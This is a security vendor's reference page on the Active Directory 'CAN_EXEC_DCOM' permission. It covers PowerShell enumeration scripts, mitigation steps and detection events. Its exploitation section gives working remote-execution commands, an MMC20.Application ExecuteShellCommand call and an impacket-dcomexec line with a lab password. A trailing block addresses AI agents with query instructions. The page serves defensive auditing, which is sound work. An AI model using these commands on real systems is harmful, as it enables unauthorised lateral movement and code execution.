# CAN\_EXEC\_DCOM

## Summary

|                            |                 |
| -------------------------- | --------------- |
| **FSProtect ACL Alias**    | CAN\_EXEC\_DCOM |
| **Affected Object Types**  | Users, Groups   |
| **Exploitation Certainty** | Certain         |

## Description

The `CAN_EXEC_DCOM` permission in Active Directory grants an account the ability to remotely execute commands and manage processes via Distributed Component Object Model (DCOM) on domain-joined systems. This permission is essential for administrators who utilize distributed applications and COM-based services to perform remote management, automate tasks, and troubleshoot issues. To assign this permission on a specific system, the user must be added to the local Distributed COM Users group, ensuring they can initiate and manage DCOM-based communications. By leveraging the `CAN_EXEC_DCOM` permission, IT teams can centrally administer services, configure applications, and streamline remote workflows across a wide range of Windows-based machines.

However, if misconfigured, the `CAN_EXEC_DCOM` permission can lead to serious security risks. An attacker who gains unauthorized access to DCOM execution privileges may exploit it to bypass local security controls, run arbitrary code, and manipulate system components without direct physical access. Such misuse could enable lateral movement within the network, privilege escalation, and persistence through malicious COM objects. Ultimately, an improperly secured `CAN_EXEC_DCOM` permission can compromise the integrity of the entire Active Directory environment, allowing attackers to disrupt critical services and exfiltrate sensitive data.

## Identification

### PowerShell

#### Active Directory Module

Using the Active Directory PowerShell module, you can enumerate `CAN_EXEC_DCOM` entries.

**1.** Find-CAN\_EXEC\_DCOM function

```powershell
function Find-CAN_EXEC_DCOM {
    [CmdletBinding()]
    param(
        [string[]]$Target = $null,
        [string]$SearchBase = $null,
        [string]$OutputPath = "CAN_EXEC_DCOM.csv",
        [int]$TimeoutSec = 6
    )
    Import-Module ActiveDirectory -ErrorAction Stop
    $computers = @()
    if ($Target) {
        Write-Host "Using provided target(s): $($Target -join ', ')"
        foreach ($t in $Target) {
            # If it's an IP or FQDN, use as-is; otherwise try to resolve via AD
            if ($t -match '^\d{1,3}(\.\d{1,3}){3}$' -or $t -like "*.*") {
                $computers += $t
            } else {
                try {
                    $adComp = Get-ADComputer -Identity $t -Properties dNSHostName -ErrorAction Stop
                    if ($adComp.dNSHostName) { $computers += $adComp.dNSHostName } else { $computers += $adComp.Name }
                } catch {
                    Write-Warning "Couldn't resolve '$t' from AD: $($_.Exception.Message). Using as provided."
                    $computers += $t
                }
            }
        }
        $computers = $computers | Sort-Object -Unique
    } else {
        Write-Host "Gathering computer objects from Active Directory..."
        try {
            $computers = if ($SearchBase) {
                Write-Host "Filtering computers under '$SearchBase'"
                Get-ADComputer -Filter * -SearchBase $SearchBase -ErrorAction Stop | Select-Object -ExpandProperty Name
            } else {
                Get-ADComputer -Filter * -ErrorAction Stop | Select-Object -ExpandProperty Name
            }
        } catch {
            Write-Error "Failed to retrieve computer objects: $($_.Exception.Message)"
            return
        }
    }
    if (-not $computers) {
        Write-Warning "No computers found; exiting."
        return
    }
    $results = New-Object System.Collections.Generic.List[object]
    Write-Host "Enumerating members of the local 'Distributed COM Users' group on $($computers.Count) computers..."
    $opt = New-CimSessionOption -Protocol Dcom
    foreach ($c in $computers) {
        try {
            $sess = New-CimSession -ComputerName $c -SessionOption $opt -OperationTimeoutSec $TimeoutSec -ErrorAction Stop
            try {
                $grp = Get-CimInstance -CimSession $sess -ClassName Win32_Group -Filter "LocalAccount=TRUE AND Name='Distributed COM Users'" -ErrorAction Stop
                if (-not $grp) {
                    Write-Warning "Distributed COM Users group not found on '$c'."
                    continue
                }
                $members = Get-CimAssociatedInstance -CimSession $sess -InputObject $grp -Association Win32_GroupUser -ErrorAction Stop
                foreach ($m in $members) {
                    $memberType = if ($m.CimClass.CimClassName -eq 'Win32_Group') { 'Group' } else { 'User' }
                    $memberName = if ($m.Domain) { "$($m.Domain)\$($m.Name)" } else { $m.Name }
                    $results.Add([PSCustomObject]@{
                        ComputerName = $c
                        MemberName   = $memberName
                        MemberType   = $memberType
                    })
                }
            }
            finally { if ($sess) { $sess | Remove-CimSession -ErrorAction SilentlyContinue } }
        } catch { Write-Warning "Unable to enumerate 'Distributed COM Users' on '$c': $($_.Exception.Message)"}
    }
    if ($results.Count -gt 0) {
        try {
            $results | Select-Object ComputerName, MemberName, MemberType | Sort-Object ComputerName, MemberType, MemberName | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Host "Results exported to '$OutputPath'"
        } catch { Write-Error "Failed to export to CSV: $($_.Exception.Message)" }
    } else {
        Write-Output "No 'Distributed COM Users' members found across scanned computers."
    }
}
```

**2.** Scan all computers in the domain

```powershell
Find-CAN_EXEC_DCOM
```

**3.** Use SearchBase to limit the scope

```powershell
Find-CAN_EXEC_DCOM -SearchBase "CN=Computers,DC=forestall,DC=labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `CAN_EXEC_DCOM` entries without relying on any external modules or dependencies.

**1.** Find-CAN\_EXEC\_DCOMSimple

```powershell
function Find-CAN_EXEC_DCOMSimple {
    [CmdletBinding()]
    param([string]$Target = $null,[string]$OutputPath = "CAN_EXEC_DCOM.csv", [int]$TimeoutSec = 6)
    $computers = @()
    if ($Target) {
        Write-Verbose "Binding directly to object: $Target"
        try {
            $entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
            $computers = @($entry.Properties["dNSHostName"].Value)
            if (-not $computers) {$computers = @($entry.Properties["cn"].Value) }
        }  catch { Write-Error "Failed to bind to '$Target': $_" ; return  }
    }
    else {
        Write-Verbose "Binding to RootDSE..."
        try {
            $root      = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN    = $root.Properties["defaultNamingContext"].Value
            $ldapPath  = "LDAP://$baseDN"
            $searchRoot= New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
            $searcher.Filter           = "(objectCategory=computer)"
            $searcher.PageSize         = 1000
            [void]$searcher.PropertiesToLoad.Add("dNSHostName")
            [void]$searcher.PropertiesToLoad.Add("cn")
            $hits = $searcher.FindAll()
            $computers = foreach ($hit in $hits) {
                $hn = $hit.Properties["dNSHostName"]
                if ($hn) { $hn } else { $hit.Properties["cn"] }
            }
        }catch { Write-Error "LDAP enumeration failed: $_" ; return}
    }
    if (-not $computers) { Write-Warning "No computers found; exiting." ; return}
    $results = New-Object System.Collections.Generic.List[object]
    Write-Host "Enumerating members of the local 'Distributed COM Users' group on $($computers.Count) computers..."
    $opt = New-CimSessionOption -Protocol Dcom
    foreach ($c in $computers) {
        try {
            $sess = New-CimSession -ComputerName $c -SessionOption $opt -OperationTimeoutSec $TimeoutSec -ErrorAction Stop
            try {
                $grp = Get-CimInstance -CimSession $sess -ClassName Win32_Group -Filter "LocalAccount=TRUE AND Name='Distributed COM Users'" -ErrorAction Stop
                if (-not $grp) {
                    Write-Warning "Distributed COM Users group not found on '$c'."
                    continue
                }
                $members = Get-CimAssociatedInstance -CimSession $sess -InputObject $grp -Association Win32_GroupUser -ErrorAction Stop
                foreach ($m in $members) {
                    $memberType = if ($m.CimClass.CimClassName -eq 'Win32_Group') { 'Group' } else { 'User' }
                    $memberName = if ($m.Domain) { "$($m.Domain)\$($m.Name)" } else { $m.Name }
                    $results.Add([PSCustomObject]@{
                        ComputerName = $c
                        MemberName   = $memberName
                        MemberType   = $memberType
                    })
                }
            }
            finally { if ($sess) { $sess | Remove-CimSession -ErrorAction SilentlyContinue } }
        } catch { Write-Warning "Unable to enumerate 'Distributed COM Users' on '$c': $($_.Exception.Message)"}
    }
    if ($results.Count -gt 0) {
        try {
            $results | Select-Object ComputerName, MemberName, MemberType | Sort-Object ComputerName, MemberType, MemberName | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
            Write-Host "Results exported to '$OutputPath'"
        } catch { Write-Error "Failed to export to CSV: $($_.Exception.Message)" }
    } else {Write-Output "No 'Distributed COM Users' members found across scanned computers."}
}
```

**2.** Scan all domain computers

```powershell
Find-CAN_EXEC_DCOMSimple
```

**3.** Scan a specific object

```powershell
Find-CAN_EXEC_DCOMSimple -Target "CN=VM01,OU=workstations,DC=Forestall,DC=Labs"
```

### Computer Management

Note: This edge cannot be identified directly with ADUC, but it can be verified via Computer Management.

**1.** Open Computer Management.

**2.** Select Action from the menu, then choose "Connect to another computer" if a different computer is required.

**3.** Select the desired machine to manage.

**4.** In the Computer Management window, navigate to Local Users and Groups.

**5.** Under Local Users and Groups, open Distributed COM Users with a double-click.

**6.** In the Members list, locate users and groups.

**7.** Click OK to close the dialogs.

![Computer Management](/files/MGTuIiIczxt1NCTMF3e0)

## Exploitation

To prevent false positives, validate the target host’s DCOM Component Services ACLs—specifically launch/activation and access permissions—before attempting exploitation.

### Windows

#### Execute on target machine

```powershell
$Com = [Type]::GetTypeFromProgID("MMC20.Application","<targetHost>");
$Obj = [System.Activator]::CreateInstance($Com);
$Obj.Document.ActiveView.ExecuteShellCommand("<filetorun>",$null,"<arguments>","7")
```

Example:

```powershell
$Com = [Type]::GetTypeFromProgID("MMC20.Application","VM01.forestall.labs");
$Obj = [System.Activator]::CreateInstance($Com);
$Obj.Document.ActiveView.ExecuteShellCommand("calc.exe",$null,$null,"7")
```

![Execute from PowerShell](/files/4kORGJQipSCZ1g5bdfku)

### Linux

#### Execute on target machine

```bash
impacket-dcomexec -object MMC20 -silentcommand <domain>/<user>:'<pass>'@<targethost> "<command>"
```

Example:

```bash
impacket-dcomexec -object MMC20 -silentcommand forestall.labs/adam:'Temp123!'@vm01.forestall.labs "powershell"
```

![Execute from Linux](/files/2OMAAgeapB648vrga5jl)

## Mitigation

You can mitigate `CAN_EXEC_DCOM` with the following steps:

**1.** Open Active Directory Users and Computers (ADUC).

**2.** Right-click the computer and select Manage.

**3.** In the Computer Management window, navigate to Local Users and Groups.

**4.** Under Local Users and Groups, double-click Distributed COM Users.

**5.** In the Members list, locate and remove the unwanted user or group.

**6.** Click OK to close the dialogs.

![Active Directory Users and Computers](/files/MGTuIiIczxt1NCTMF3e0)

## Detection

Adding new Access Control Entries on Active Directory objects changes the `ntSecurityDescriptor` attribute of those objects. These changes can be detected with Event IDs 5136 and 4662 to identify potentially dangerous modifications.

| Event ID | Description                              | Fields/Attributes      | References                                                                                 |
| -------- | ---------------------------------------- | ---------------------- | ------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified. | ntSecurityDescriptor   | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136> |
| 4662     | An operation was performed on an object. | AccessList, AccessMask | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662> |

## References

* [LocalGroup - FSProtect Docs](https://docs.forestall.io/fsprotect/search-and-reports/localgroup)
* [LocalUser - FSProtect Docs](https://docs.forestall.io/fsprotect/search-and-reports/localuser)
* [Impacket DCOMExec - WADComs](https://wadcoms.github.io/wadcoms/Impacket-DCOMExec/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/can_exec_dcom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
